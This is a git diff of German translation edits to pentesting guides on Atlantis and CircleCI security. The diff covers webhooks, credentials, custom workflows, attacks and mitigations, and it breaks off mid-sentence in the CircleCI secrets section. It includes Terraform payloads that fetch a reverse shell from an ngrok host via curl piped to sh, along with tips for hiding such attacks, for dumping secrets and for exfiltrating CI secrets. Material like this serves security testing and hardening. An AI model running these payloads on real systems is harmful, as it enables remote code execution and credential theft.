es sei denn, Sie verwenden einen privaten GitHub- oder Bitbucket-Server, Webhook-Endpunkte ins Internet exponieren müssen. > [!WARNING] -> Atlantis wird **Webhooks exponieren**, damit der Git-Server ihm Informationen senden kann. Aus der Sicht eines Angreifers wäre es interessant zu wissen, **ob Sie ihm Nachrichten senden können**. +> Atlantis wird **Webhooks exponieren**, damit der Git-Server ihm Informationen senden kann. Aus der Perspektive eines Angreifers wäre es interessant zu wissen, **ob Sie ihm Nachrichten senden können**. -#### Anbieter-Anmeldeinformationen +#### Anbieteranmeldeinformationen [Aus der Dokumentation:](https://www.runatlantis.io/docs/provider-credentials.html) -Atlantis führt Terraform aus, indem es einfach die **Befehle `terraform plan` und `apply`** auf dem Server **ausführt, auf dem Atlantis gehostet wird**. Genau wie bei der lokalen Ausführung von Terraform benötigt Atlantis Anmeldeinformationen für Ihren spezifischen Anbieter. +Atlantis führt Terraform aus, indem es einfach die **`terraform plan` und `apply`**-Befehle auf dem Server **ausführt, auf dem Atlantis gehostet wird**. Genau wie bei der lokalen Ausführung von Terraform benötigt Atlantis Anmeldeinformationen für Ihren spezifischen Anbieter. Es liegt an Ihnen, wie Sie [Anmeldeinformationen bereitstellen](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) für Ihren spezifischen Anbieter an Atlantis: -- Das Atlantis [Helm-Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) und das [AWS Fargate-Modul](https://www.runatlantis.io/docs/deployment.html#aws-fargate) haben ihre eigenen Mechanismen für Anbieter-Anmeldeinformationen. Lesen Sie deren Dokumentation. -- Wenn Sie Atlantis in einer Cloud ausführen, haben viele Clouds Möglichkeiten, Anwendungen, die auf ihnen ausgeführt werden, API-Zugriff zu gewähren, z.B.: +- Das Atlantis [Helm-Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) und das [AWS Fargate-Modul](https://www.runatlantis.io/docs/deployment.html#aws-fargate) haben ihre eigenen Mechanismen für Anbieteranmeldeinformationen. Lesen Sie deren Dokumentation. +- Wenn Sie Atlantis in einer Cloud ausführen, haben viele Clouds Möglichkeiten, Anwendungen, die auf ihnen ausgeführt werden, API-Zugriff zu gewähren, z. B.: - [AWS EC2-Rollen](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Suchen Sie nach "EC2-Rolle") - [GCE-Instanzdienstkonten](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference) -- Viele Benutzer setzen Umgebungsvariablen, z.B. `AWS_ACCESS_KEY`, wo Atlantis ausgeführt wird. -- Andere erstellen die erforderlichen Konfigurationsdateien, z.B. `~/.aws/credentials`, wo Atlantis ausgeführt wird. -- Verwenden Sie den [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs), um Anbieter-Anmeldeinformationen zu erhalten. +- Viele Benutzer setzen Umgebungsvariablen, z. B. `AWS_ACCESS_KEY`, wo Atlantis ausgeführt wird. +- Andere erstellen die erforderlichen Konfigurationsdateien, z. B. `~/.aws/credentials`, wo Atlantis ausgeführt wird. +- Verwenden Sie den [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs), um Anbieteranmeldeinformationen zu erhalten. > [!WARNING] -> Der **Container**, in dem **Atlantis** **ausgeführt wird**, wird höchstwahrscheinlich **privilegierte Anmeldeinformationen** für die Anbieter (AWS, GCP, Github...) enthalten, die Atlantis über Terraform verwaltet. +> Der **Container**, in dem **Atlantis** **ausgeführt wird**, wird höchstwahrscheinlich **privilegierte Anmeldeinformationen** für die Anbieter (AWS, GCP, GitHub...) enthalten, die Atlantis über Terraform verwaltet. #### Webseite -Standardmäßig wird Atlantis eine **Webseite auf Port 4141 auf localhost** ausführen. Diese Seite ermöglicht es Ihnen lediglich, Atlantis apply zu aktivieren/deaktivieren und den Planstatus der Repos zu überprüfen und sie zu entsperren (sie erlaubt keine Änderungen, daher ist sie nicht sehr nützlich). +Standardmäßig wird Atlantis eine **Webseite auf Port 4141 auf localhost** ausführen. Diese Seite ermöglicht es Ihnen lediglich, Atlantis anzuwenden/deaktivieren und den Planstatus der Repos zu überprüfen und sie zu entsperren (sie erlaubt keine Änderungen, daher ist sie nicht sehr nützlich). -Sie werden sie wahrscheinlich nicht im Internet exponiert finden, aber es scheint, dass standardmäßig **keine Anmeldeinformationen erforderlich sind**, um darauf zuzugreifen (und wenn doch, sind `atlantis`:`atlantis` die **Standard**-Anmeldeinformationen). +Sie werden sie wahrscheinlich nicht im Internet finden, aber es scheint, dass standardmäßig **keine Anmeldeinformationen erforderlich sind**, um darauf zuzugreifen (und wenn doch, sind `atlantis`:`atlantis` die **Standard**-Anmeldeinformationen). ### Serverkonfiguration -Die Konfiguration für `atlantis server` kann über Befehlszeilen-Flags, Umgebungsvariablen, eine Konfigurationsdatei oder eine Mischung aus dreien angegeben werden. +Die Konfiguration für `atlantis server` kann über Befehlszeilenflags, Umgebungsvariablen, eine Konfigurationsdatei oder eine Mischung aus dreien angegeben werden. - Sie finden [**hier die Liste der unterstützten Flags**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) für den Atlantis-Server. - Sie finden [**hier, wie man eine Konfigurationsoption in eine Umgebungsvariable umwandelt**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables). @@ -76,36 +76,36 @@ Werte werden **in dieser Reihenfolge ausgewählt**: 3. Konfigurationsdatei > [!WARNING] -> Beachten Sie, dass Sie in der Konfiguration möglicherweise interessante Werte wie **Tokens und Passwörter** finden. +> Beachten Sie, dass Sie in der Konfiguration interessante Werte wie **Tokens und Passwörter** finden könnten. #### Repo-Konfiguration Einige Konfigurationen beeinflussen, **wie die Repos verwaltet werden**. Es ist jedoch möglich, dass **jedes Repo unterschiedliche Einstellungen erfordert**, sodass es Möglichkeiten gibt, jedes Repo anzugeben. Dies ist die Prioritätsreihenfolge: 1. Repo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) Datei. Diese Datei kann verwendet werden, um anzugeben, wie Atlantis das Repo behandeln soll. Standardmäßig können jedoch einige Schlüssel hier ohne bestimmte Flags, die dies erlauben, nicht angegeben werden. -2. Wahrscheinlich erforderlich, um durch Flags wie `allowed_overrides` oder `allow_custom_workflows` erlaubt zu werden. -3. [**Serverseitige Konfiguration**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): Sie können sie mit dem Flag `--repo-config` übergeben, und es handelt sich um eine YAML, die neue Einstellungen für jedes Repo konfiguriert (Regex wird unterstützt). -4. **Standard**-Werte. +1. Wahrscheinlich erforderlich, um durch Flags wie `allowed_overrides` oder `allow_custom_workflows` erlaubt zu werden. +2. [**Serverseitige Konfiguration**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): Sie können sie mit dem Flag `--repo-config` übergeben, und es handelt sich um eine YAML-Datei, die neue Einstellungen für jedes Repo konfiguriert (Regex wird unterstützt). +3. **Standard**-Werte. **PR-Schutz** -Atlantis ermöglicht es anzugeben, ob Sie möchten, dass der **PR** von jemand anderem **`genehmigt`** wird (auch wenn dies nicht im Branch-Schutz festgelegt ist) und/oder **`mergeable`** (Branch-Schutz bestanden) **ist, bevor apply ausgeführt wird**. Aus sicherheitstechnischer Sicht ist es ratsam, beide Optionen festzulegen. +Atlantis ermöglicht es anzugeben, ob Sie möchten, dass der **PR** von jemand anderem **`genehmigt`** wird (auch wenn dies nicht im Branch-Schutz festgelegt ist) und/oder **`zusammenführbar`** ist (Branch-Schutz bestanden) **bevor `apply` ausgeführt wird**. Aus sicherheitstechnischer Sicht ist es ratsam, beide Optionen festzulegen. Falls `allowed_overrides` wahr ist, können diese Einstellungen **in jedem Projekt durch die `/atlantis.yml`-Datei überschrieben werden**. **Skripte** -Die Repo-Konfiguration kann **Skripte angeben**, die [**vor**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_Pre-Workflow-Hooks_) und [**nach**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_Post-Workflow-Hooks_) einem **Workflow ausgeführt werden**. +Die Repo-Konfiguration kann **Skripte angeben**, die [**vor**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_Pre-Workflow-Hooks_) und [**nach**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_Post-Workflow-Hooks_) einem **Workflow ausgeführt werden.** Es gibt keine Option, um **diese Skripte** in der **Repo `/atlantis.yml`**-Datei anzugeben. **Workflow** In der Repo-Konfiguration (serverseitige Konfiguration) können Sie [**einen neuen Standard-Workflow angeben**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow) oder [**neue benutzerdefinierte Workflows erstellen**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** Sie können auch **angeben**, welche **Repos** auf die **neuen** generierten zugreifen können.\ -Dann können Sie die **atlantis.yaml**-Datei jedes Repos erlauben, den zu verwendenden Workflow anzugeben. +Dann können Sie die **atlantis.yaml**-Datei jedes Repos erlauben, den zu verwendenden Workflow **anzugeben**. > [!CAUTION] -> Wenn das [**serverseitige Konfigurations**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) Flag `allow_custom_workflows` auf **True** gesetzt ist, können Workflows in der **`atlantis.yaml`**-Datei jedes Repos **angegeben** werden. Es könnte auch potenziell erforderlich sein, dass **`allowed_overrides`** auch **`workflow`** angibt, um den Workflow zu **überschreiben**, der verwendet werden soll.\ +> Wenn das [**serverseitige Konfigurations**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) Flag `allow_custom_workflows` auf **True** gesetzt ist, können Workflows in der **`atlantis.yaml`**-Datei jedes Repos **angegeben** werden. Es könnte auch erforderlich sein, dass **`allowed_overrides`** auch **`workflow`** angibt, um den Workflow zu **überschreiben**, der verwendet werden soll.\ > Dies würde im Grunde **RCE im Atlantis-Server für jeden Benutzer, der auf dieses Repo zugreifen kann, gewähren**. > > ```yaml @@ -126,12 +126,12 @@ Dann können Sie die **atlantis.yaml**-Datei jedes Repos erlauben, den zu verwen **Conftest-Policy-Überprüfung** -Atlantis unterstützt die Ausführung von **serverseitigen** [**conftest**](https://www.conftest.dev/) **Richtlinien** gegen die Plan-Ausgabe. Häufige Anwendungsfälle für diesen Schritt sind: +Atlantis unterstützt die Ausführung von **serverseitigen** [**Conftest**](https://www.conftest.dev/) **Richtlinien** gegen die Plan-Ausgabe. Häufige Anwendungsfälle für diesen Schritt sind: - Verweigerung der Nutzung einer Liste von Modulen - Überprüfung von Attributen einer Ressource zum Zeitpunkt der Erstellung - Auffangen unbeabsichtigter Ressourcenlöschungen -- Verhinderung von Sicherheitsrisiken (z.B. das Exponieren sicherer Ports für die Öffentlichkeit) +- Verhinderung von Sicherheitsrisiken (z. B. das Offenlegen sicherer Ports für die Öffentlichkeit) Sie können überprüfen, wie Sie es in [**der Dokumentation**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works) konfigurieren. @@ -165,14 +165,14 @@ atlantis apply [options] -- [terraform apply flags] > [!WARNING] > Wenn Sie während der Ausnutzung diesen **Fehler** finden: `Error: Error acquiring the state lock` -Sie können es beheben, indem Sie Folgendes ausführen: +Sie können ihn beheben, indem Sie Folgendes ausführen: ``` atlantis unlock #You might need to run this in a different PR atlantis plan -- -lock=false ``` #### Atlantis plan RCE - Konfigurationsänderung in neuem PR -Wenn Sie Schreibzugriff auf ein Repository haben, können Sie einen neuen Branch erstellen und einen PR generieren. Wenn Sie **`atlantis plan` ausführen können** (oder es möglicherweise automatisch ausgeführt wird), **werden Sie in der Lage sein, RCE innerhalb des Atlantis-Servers zu erreichen**. +Wenn Sie Schreibzugriff auf ein Repository haben, können Sie einen neuen Branch erstellen und einen PR generieren. Wenn Sie **`atlantis plan` ausführen können** (oder es möglicherweise automatisch ausgeführt wird), **werden Sie in der Lage sein, RCE innerhalb des Atlantis-Servers durchzuführen**. Sie können dies tun, indem Sie [**Atlantis eine externe Datenquelle laden lassen**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source). Fügen Sie einfach eine Payload wie die folgende in die `main.tf`-Datei ein: ```json @@ -180,11 +180,11 @@ data "external" "example" { program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"] } ``` -**Stealthier Angriff** +**Tarnung Angriff** -You can perform this attack even in a **stealthier way**, by following this suggestions: +Sie können diesen Angriff sogar auf eine **tarnendere Weise** durchführen, indem Sie diese Vorschläge befolgen: -- Statt die rev shell direkt in die terraform-Datei einzufügen, können Sie **eine externe Ressource laden**, die die rev shell enthält: +- Anstatt die rev shell direkt in die terraform-Datei einzufügen, können Sie **eine externe Ressource laden**, die die rev shell enthält: ```javascript module "not_rev_shell" { source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules" @@ -192,12 +192,12 @@ source = "git@github.com:carlospolop/terraform_external_module_rev_shell//module ``` Sie können den rev shell Code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) finden. -- Verwenden Sie im externen Ressourcen die **ref**-Funktion, um den **terraform rev shell Code in einem Branch** innerhalb des Repos zu verbergen, etwas wie: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` -- **Stattdessen** von einem **PR zu master** zu erstellen, um Atlantis auszulösen, **erstellen Sie 2 Branches** (test1 und test2) und erstellen Sie einen **PR von einem zum anderen**. Wenn Sie den Angriff abgeschlossen haben, entfernen Sie einfach **den PR und die Branches**. +- Verwenden Sie in der externen Ressource die **ref**-Funktion, um den **terraform rev shell Code in einem Branch** innerhalb des Repos zu verbergen, etwas wie: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` +- **Stattdessen** erstellen Sie einen **PR zu master**, um Atlantis auszulösen, **erstellen Sie 2 Branches** (test1 und test2) und erstellen Sie einen **PR von einem zum anderen**. Wenn Sie den Angriff abgeschlossen haben, entfernen Sie einfach **den PR und die Branches**. #### Atlantis Plan Secrets Dump -Sie können **Secrets, die von terraform verwendet werden**, dumpen, indem Sie `atlantis plan` (`terraform plan`) ausführen und etwas wie dies in die terraform-Datei einfügen: +Sie können **Secrets, die von terraform verwendet werden**, dumpen, indem Sie `atlantis plan` (`terraform plan`) ausführen und etwas wie dies in die Terraform-Datei einfügen: ```json output "dotoken" { value = nonsensitive(var.do_token) @@ -210,7 +210,7 @@ Wenn Sie Schreibzugriff auf ein Repository haben, können Sie einen neuen Branch Sie müssen jedoch normalerweise einige Schutzmaßnahmen umgehen: - **Mergeable**: Wenn dieser Schutz in Atlantis aktiviert ist, können Sie **`atlantis apply` nur ausführen, wenn der PR mergeable ist** (was bedeutet, dass der Branch-Schutz umgangen werden muss). -- Überprüfen Sie mögliche [**Umgehungen von Branch-Schutzmaßnahmen**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md) +- Überprüfen Sie mögliche [**Branch-Schutzumgehungen**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md) - **Approved**: Wenn dieser Schutz in Atlantis aktiviert ist, muss **ein anderer Benutzer den PR genehmigen**, bevor Sie `atlantis apply` ausführen können. - Standardmäßig können Sie das [**Gitbot-Token missbrauchen, um diesen Schutz zu umgehen**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md) @@ -231,11 +231,11 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'" } } ``` -Folgen Sie den **Vorschlägen aus der vorherigen Technik**, um diesen Angriff auf eine **diskretere Weise** durchzuführen. +Befolgen Sie die **Vorschläge aus der vorherigen Technik**, um diesen Angriff auf eine **diskretere Weise** durchzuführen. #### Terraform Param Injection -Wenn `atlantis plan` oder `atlantis apply` ausgeführt wird, wird Terraform im Hintergrund ausgeführt. Sie können Befehle an Terraform von Atlantis über Kommentare übergeben, indem Sie etwas wie Folgendes schreiben: +Wenn `atlantis plan` oder `atlantis apply` ausgeführt wird, wird Terraform im Hintergrund ausgeführt. Sie können Befehle an Terraform von Atlantis über Kommentare übergeben, indem Sie etwas wie: ```bash atlantis plan -- atlantis plan -- -h #Get terraform plan help @@ -266,10 +266,10 @@ Diese Möglichkeit wurde in einem vorherigen Abschnitt erwähnt: > plan: > steps: > - init -> - run: mein benutzerdefinierter Planbefehl +> - run: my custom plan command > apply: > steps: -> - run: mein benutzerdefinierter Anwendungsbefehl +> - run: my custom apply command > ``` #### Umgehung von Plan-/Anwendungs-Schutzmaßnahmen @@ -282,7 +282,7 @@ apply_requirements: [] ``` #### PR Hijacking -Wenn jemand **`atlantis plan/apply` Kommentare zu Ihren gültigen Pull-Requests sendet,** wird dies dazu führen, dass Terraform ausgeführt wird, wenn Sie es nicht möchten. +Wenn jemand **`atlantis plan/apply` Kommentare zu Ihren gültigen Pull-Requests sendet,** wird Terraform ausgeführt, wenn Sie es nicht möchten. Darüber hinaus, wenn Sie nicht in den **Branch-Schutz** konfiguriert haben, um bei jedem **neuen Commit** zu verlangen, dass jeder PR **neu bewertet** wird, könnte jemand **bösartige Konfigurationen** (siehe vorherige Szenarien) in der Terraform-Konfiguration schreiben, `atlantis plan/apply` ausführen und RCE erlangen. @@ -300,7 +300,7 @@ Bitbucket Cloud unterstützt **keine Webhook-Secrets**. Dies könnte Angreifern - Das bedeutet, dass ein **Angreifer** **falsche Anfragen an Atlantis** stellen könnte, die so aussehen, als kämen sie von Bitbucket. - Wenn Sie `--repo-allowlist` angeben, könnten sie nur Anfragen zu diesen Repos fälschen, sodass der größte Schaden, den sie anrichten könnten, darin bestünde, auf Ihren eigenen Repos zu planen/anwenden. -- Um dies zu verhindern, erlauben Sie nur [Bitbucket-IP-Adressen](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) (siehe ausgehende IPv4-Adressen). +- Um dies zu verhindern, erlauben Sie [Bitbucket's IP-Adressen](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) (siehe ausgehende IPv4-Adressen). ### Post-Exploitation @@ -313,19 +313,19 @@ Wenn Sie Zugriff auf den Server erhalten haben oder zumindest LFI haben, gibt es - `/proc/1/environ` Umgebungsvariablen - `/proc/[2-20]/cmdline` Cmd-Zeile von `atlantis server` (kann sensible Daten enthalten) -### Mitigations +### Mitigationen -#### Don't Use On Public Repos +#### Verwenden Sie es nicht auf öffentlichen Repos Da jeder auf öffentlichen Pull-Requests kommentieren kann, ist es selbst mit allen verfügbaren Sicherheitsmaßnahmen immer noch gefährlich, Atlantis auf öffentlichen Repos ohne ordnungsgemäße Konfiguration der Sicherheitseinstellungen auszuführen. -#### Don't Use `--allow-fork-prs` +#### Verwenden Sie nicht `--allow-fork-prs` -Wenn Sie auf einem öffentlichen Repo (was nicht empfohlen wird, siehe oben) arbeiten, sollten Sie `--allow-fork-prs` (standardmäßig auf false) nicht setzen, da jeder einen Pull-Request von seinem Fork zu Ihrem Repo öffnen kann. +Wenn Sie auf einem öffentlichen Repo (was nicht empfohlen wird, siehe oben) arbeiten, sollten Sie `--allow-fork-prs` nicht setzen (Standard ist false), da jeder einen Pull-Request von seinem Fork zu Ihrem Repo öffnen kann. #### `--repo-allowlist` -Atlantis erfordert, dass Sie eine Allowlist von Repositories angeben, von denen es Webhooks über das `--repo-allowlist`-Flag akzeptiert. Zum Beispiel: +Atlantis erfordert, dass Sie eine Allowlist von Repositories angeben, von denen es Webhooks über das Flag `--repo-allowlist` akzeptiert. Zum Beispiel: - Bestimmte Repositories: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests` - Ihre gesamte Organisation: `--repo-allowlist=github.com/runatlantis/*` @@ -334,37 +334,37 @@ Atlantis erfordert, dass Sie eine Allowlist von Repositories angeben, von denen Dieses Flag stellt sicher, dass Ihre Atlantis-Installation nicht mit Repositories verwendet wird, die Sie nicht kontrollieren. Siehe `atlantis server --help` für weitere Details. -#### Protect Terraform Planning +#### Schützen Sie Terraform-Planung -Wenn Angreifer Pull-Requests mit bösartigem Terraform-Code in Ihrem Bedrohungsmodell einreichen, müssen Sie sich bewusst sein, dass Genehmigungen für `terraform apply` nicht ausreichen. Es ist möglich, bösartigen Code in einem `terraform plan` auszuführen, indem die [`external` Datenquelle](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) verwendet oder ein bösartiger Anbieter angegeben wird. Dieser Code könnte dann Ihre Anmeldeinformationen exfiltrieren. +Wenn Angreifer Pull-Requests mit bösartigem Terraform-Code in Ihrem Bedrohungsmodell einreichen, müssen Sie sich bewusst sein, dass Genehmigungen für `terraform apply` nicht ausreichen. Es ist möglich, bösartigen Code in einem `terraform plan` auszuführen, indem die [`external` Datenquelle](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) oder ein bösartiger Anbieter angegeben wird. Dieser Code könnte dann Ihre Anmeldeinformationen exfiltrieren. Um dies zu verhindern, könnten Sie: 1. Anbieter in das Atlantis-Image einbacken oder hosten und den Ausgang im Produktionsumfeld verweigern. 2. Das Anbieter-Registry-Protokoll intern implementieren und öffentlichen Ausgang verweigern, sodass Sie kontrollieren, wer Schreibzugriff auf das Registry hat. -3. Ihren [serverseitigen Repo-Konfigurations](https://www.runatlantis.io/docs/server-side-repo-config.html) `plan`-Schritt ändern, um gegen die Verwendung von nicht erlaubten Anbietern oder Datenquellen oder PRs von nicht erlaubten Benutzern zu validieren. Sie könnten auch an diesem Punkt zusätzliche Validierungen hinzufügen, z.B. ein "Daumen hoch" auf dem PR verlangen, bevor Sie den `plan` fortsetzen lassen. Conftest könnte hier nützlich sein. +3. Ihren [serverseitigen Repo-Konfigurations](https://www.runatlantis.io/docs/server-side-repo-config.html) `plan`-Schritt so modifizieren, dass er gegen die Verwendung von nicht erlaubten Anbietern oder Datenquellen oder PRs von nicht erlaubten Benutzern validiert. Sie könnten auch an diesem Punkt zusätzliche Validierungen hinzufügen, z.B. ein "Daumen hoch" für den PR verlangen, bevor Sie den `plan` fortsetzen lassen. Conftest könnte hier nützlich sein. -#### Webhook Secrets +#### Webhook-Secrets -Atlantis sollte mit Webhook-Secrets ausgeführt werden, die über die Umgebungsvariablen `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET` festgelegt sind. Selbst mit dem gesetzten `--repo-allowlist`-Flag könnten Angreifer Anfragen an Atlantis stellen, die sich als ein erlaubtes Repository ausgeben. Webhook-Secrets stellen sicher, dass die Webhook-Anfragen tatsächlich von Ihrem VCS-Anbieter (GitHub oder GitLab) stammen. +Atlantis sollte mit Webhook-Secrets ausgeführt werden, die über die Umgebungsvariablen `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET` festgelegt sind. Selbst mit dem gesetzten Flag `--repo-allowlist` könnten Angreifer Anfragen an Atlantis stellen, die sich als ein Repository ausgeben, das auf der Allowlist steht. Webhook-Secrets stellen sicher, dass die Webhook-Anfragen tatsächlich von Ihrem VCS-Anbieter (GitHub oder GitLab) stammen. Wenn Sie Azure DevOps verwenden, fügen Sie anstelle von Webhook-Secrets einen grundlegenden Benutzernamen und ein Passwort hinzu. -#### Azure DevOps Basic Authentication +#### Azure DevOps Basis-Authentifizierung -Azure DevOps unterstützt das Senden eines grundlegenden Authentifizierungs-Headers in allen Webhook-Ereignissen. Dies erfordert die Verwendung einer HTTPS-URL für Ihren Webhook-Standort. +Azure DevOps unterstützt das Senden eines Basis-Authentifizierungs-Headers in allen Webhook-Ereignissen. Dies erfordert die Verwendung einer HTTPS-URL für Ihren Webhook-Standort. #### SSL/HTTPS Wenn Sie Webhook-Secrets verwenden, aber Ihr Datenverkehr über HTTP läuft, könnten die Webhook-Secrets gestohlen werden. Aktivieren Sie SSL/HTTPS mit den Flags `--ssl-cert-file` und `--ssl-key-file`. -#### Enable Authentication on Atlantis Web Server +#### Aktivieren Sie die Authentifizierung auf dem Atlantis-Webserver Es wird dringend empfohlen, die Authentifizierung im Webdienst zu aktivieren. Aktivieren Sie BasicAuth mit `--web-basic-auth=true` und richten Sie einen Benutzernamen und ein Passwort mit den Flags `--web-username=yourUsername` und `--web-password=yourPassword` ein. -Sie können diese auch als Umgebungsvariablen übergeben: `ATLANTIS_WEB_BASIC_AUTH=true`, `ATLANTIS_WEB_USERNAME=yourUsername` und `ATLANTIS_WEB_PASSWORD=yourPassword`. +Sie können diese auch als Umgebungsvariablen übergeben: `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` und `ATLANTIS_WEB_PASSWORD=yourPassword`. -### References +### Referenzen - [**https://www.runatlantis.io/docs**](https://www.runatlantis.io/docs) - [**https://www.runatlantis.io/docs/provider-credentials.html**](https://www.runatlantis.io/docs/provider-credentials.html) diff --git a/src/pentesting-ci-cd/circleci-security.md b/src/pentesting-ci-cd/circleci-security.md index 2a71f6cc1..7f7e2b6f1 100644 --- a/src/pentesting-ci-cd/circleci-security.md +++ b/src/pentesting-ci-cd/circleci-security.md @@ -9,9 +9,9 @@ ### Berechtigungen **CircleCI** **erbt die Berechtigungen** von GitHub und Bitbucket, die mit dem **Konto** verbunden sind, das sich anmeldet.\ -In meinen Tests habe ich überprüft, dass Sie, solange Sie **Schreibberechtigungen für das Repo in GitHub** haben, in der Lage sind, **die Projekteinstellungen in CircleCI zu verwalten** (neue SSH-Schlüssel festzulegen, Projekt-API-Schlüssel zu erhalten, neue Branches mit neuen CircleCI-Konfigurationen zu erstellen...). +In meinen Tests habe ich überprüft, dass Sie, solange Sie **Schreibberechtigungen für das Repo in GitHub** haben, in der Lage sind, **die Projekteinstellungen in CircleCI zu verwalten** (neue SSH-Schlüssel festlegen, Projekt-API-Schlüssel abrufen, neue Branches mit neuen CircleCI-Konfigurationen erstellen...). -Sie müssen jedoch ein **Repo-Administrator** sein, um das **Repo in ein CircleCI-Projekt umzuwandeln**. +Sie müssen jedoch ein **Repo-Administrator** sein, um **das Repo in ein CircleCI-Projekt umzuwandeln**. ### Umgebungsvariablen & Geheimnisse @@ -19,7 +19,7 @@ Laut [**den Dokumenten**](https://circleci.com/docs/2.0/env-vars/) gibt es versc #### Eingebaute Umgebungsvariablen -Jeder von CircleCI ausgeführte Container hat immer [**spezifische Umgebungsvariablen, die in der Dokumentation definiert sind**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) wie `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` oder `CIRCLE_USERNAME`. +Jeder Container, der von CircleCI ausgeführt wird, hat immer [**spezifische Umgebungsvariablen, die in der Dokumentation definiert sind**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) wie `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` oder `CIRCLE_USERNAME`. #### Klartext @@ -31,7 +31,7 @@ command: | SECRET="A secret" echo $SECRET ``` -Sie können sie im Klartext innerhalb der **run environment** deklarieren: +Sie können sie im Klartext innerhalb der **Ausführungsumgebung** deklarieren: ```yaml - run: name: "set and echo" @@ -69,13 +69,13 @@ Sie können sie **deklariert in** _https://app.circleci.com/settings/project/git #### Kontextgeheimnisse -Dies sind Geheimnisse, die **organisationsweit** sind. Standardmäßig kann **jedes Repo** auf **jedes Geheimnis** zugreifen, das hier gespeichert ist: +Dies sind Geheimnisse, die **organisationsweit** sind. Standardmäßig kann **jedes Repo** **auf jedes Geheimnis** zugreifen, das hier gespeichert ist: ![](<../images/image (123).png>) > [!TIP] > Beachten Sie jedoch, dass eine andere Gruppe (anstatt aller Mitglieder) **ausgewählt werden kann, um den Zugriff auf die Geheimnisse nur bestimmten Personen zu gewähren**.\ -> Dies ist derzeit eine der besten Möglichkeiten, um die **Sicherheit der Geheimnisse** zu **erhöhen**, indem nicht jeder darauf zugreifen kann, sondern nur einige Personen. +> Dies ist derzeit eine der besten Möglichkeiten, um die **Sicherheit der Geheimnisse** zu **erhöhen**, indem nicht jeder Zugriff darauf hat, sondern nur einige Personen. ### Angriffe @@ -83,11 +83,11 @@ Dies sind Geheimnisse, die **organisationsweit** sind. Standardmäßig kann **je Wenn Sie **Zugriff auf das VCS** (wie GitHub) haben, überprüfen Sie die Datei `.circleci/config.yml` von **jedem Repo in jedem Branch** und **suchen** Sie nach potenziellen **Klartextgeheimnissen**, die dort gespeichert sind. -#### Geheim-Umgebungsvariablen & Kontextenumeration +#### Aufzählung von geheimen Umgebungsvariablen & Kontexten Durch Überprüfung des Codes können Sie **alle Geheimnisnamen** finden, die in jeder `.circleci/config.yml`-Datei **verwendet** werden. Sie können auch die **Kontextnamen** aus diesen Dateien abrufen oder sie in der Webkonsole überprüfen: _https://app.circleci.com/settings/organization/github/\/contexts_. -#### Exfiltrieren von Projektgeheimnissen +#### Exfiltration von Projektgeheimnissen > [!WARNING] > Um **ALLE** Projekt- und Kontext-**GEHEIMNISSE** zu **exfiltrieren**, müssen Sie **nur** **SCHREIBZUGRIFF** auf **nur 1 Repo** in der gesamten GitHub-Organisation haben (_und Ihr Konto muss Zugriff auf die Kontexte haben, aber standardmäßig kann jeder auf jeden Kontext zugreifen_). @@ -163,7 +163,7 @@ jobs: - exfil-env: context: Test-Context ``` -Wenn Sie **keinen Zugriff auf die Webkonsole** haben, aber **Zugriff auf das Repository** haben und wissen, dass CircleCI verwendet wird, können Sie einfach **einen Workflow ändern**, der **jede Minute ausgelöst wird** und der **die Geheimnisse an eine externe Adresse exfiltriert**: +Wenn Sie **keinen Zugriff auf die Webkonsole** haben, aber **Zugriff auf das 